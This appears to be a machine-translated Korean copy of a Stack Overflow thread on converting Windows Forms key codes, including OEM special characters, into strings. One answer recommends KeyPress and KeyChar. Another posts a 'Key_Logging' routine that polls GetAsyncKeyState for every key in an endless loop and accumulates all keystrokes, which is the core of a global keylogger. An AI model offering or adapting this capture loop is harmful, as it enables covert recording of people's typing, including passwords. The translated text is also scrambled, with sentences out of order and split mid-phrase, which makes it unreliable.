2014-12-08 1 views
3

Windows Forms 응용 프로그램의 KeyDown 이벤트 처리기에 응답하고 있습니다. 이 이벤트 처리기에서 KeyEventArgs KeyCode를 문자열로 변환하려고합니다. 알파벳, 숫자 또는 숫자로 된 문자를 처리 할 때 문제가되지 않습니다. 이 일을하는 것은 아무것도 변경하지 않는 것 때문에 내가 ConvertToString 대신 ConvertToInvariantString를 호출하고있어, 지금Windows Forms 키를 문자열로 변환

private string ConvertKeyCodeToString(System.Windows.Forms.Keys keyCode, bool shiftPressed) 
{ 
    string key = new System.Windows.Forms.KeysConverter().ConvertToString(keyCode); 

    if (key.Contains("NumPad")) 
    { 
     key = key.Replace("NumPad", ""); 
    } 

    if (key.Equals("Space")) 
    { 
     key = " "; 
    } 

    if (!shiftPressed) 
    { 
     key = key.ToLower(); 
    } 

    return key; 
} 

: < > , . ; ' "/?

내 현재의 변환 방법은 다음과 같은 문자를 변환하려고 할 때 difficutly 온다. 나는 문제를 일으키는 모든 특수 문자가 "oem"으로 시작하는 것으로 보였다.

나에게는 최고의 솔루션은 키를 어떤 종류의 목록을 사용하는 문자열로 변환하는 것 같습니다. 눌려진 키가 물론 특수 문자 인 경우. 키보드 문화와 관련된 문제가 발생할 수 있습니다.

내 질문은 : 특수 문자의 키 누르기를 현재 문화권을 기반으로 한 문자열 표현으로 어떻게 변환 할 수 있습니까?

private void keypressed(Object o, KeyPressEventArgs e) 
{ 
    char key = e.KeyChar; // the character representation of the key that was pressed 
} 

KeyDown이 같은 방향 및 기능 키와 같은 비 문자 키의 발생 : 당신이 KeyDown 대신 KeyPress을 사용할 수 있습니다처럼

+0

@ Jodrell 캐릭터의 문자열 표현에 관심이 있습니다. 'oem'키와 ctrl 및/또는 alt를 사용하여 만들 수있는 특수 문자가있는 경우이를 고려해야합니다. Shift 키를 누르면 문화권에 따라 키의 출력이 바뀔 수 있습니다. – Simon

답변

3

는 소리.

+0

이것이 작동합니다. 감사합니다! 지금은 그것이 커버하지 않는 유일한 시나리오는 사용자가 é ('뒤에'e ')와 같은 것을 입력하고자 할 때입니다. 하지만 지금은이 사소한 문제로 살 수 있습니다. – Simon

0

나는이 코드를 사용하고 있으며, 탭, 공백 및 입력 키와 같은 키를 바꿀 것입니다.

 static void Key_Logging() 
     { 
      string newkey = ""; 
      while (true) 
      { 
       //sleeping for while, this will reduce load on cpu 
       Thread.Sleep(50); 
       for (Int32 i = 0; i < 255; i++) 
       { 
        int keyState = GetAsyncKeyState(i); 
        if (keyState == 1 || keyState == -32767) 
        { 


         if ((i < 91) & (i > 47)) 
         { 
          newkey = "" + (char)i; 
         } 
         else 
         { 
          switch (""+(Keys)i) 
          { 
           case "Tab": newkey = " "; break; 
           case "Space": newkey = " "; break; 
           case "Return": newkey = "\r\n"; break; 
           case "OemMinus": newkey = "-"; break; 
           case "Oemplus": newkey = "+"; break; 
           case "OemQuestion": newkey = "/"; break; 
           case "Oemtilde": newkey = "`"; break; 

           default: newkey = "\"" + (Keys)i + "\""; break; 

          } 
         } 
         Console.WriteLine(newkey); 
         keylogS += newkey;        
         break; 
        } 
       } 
      } 
     }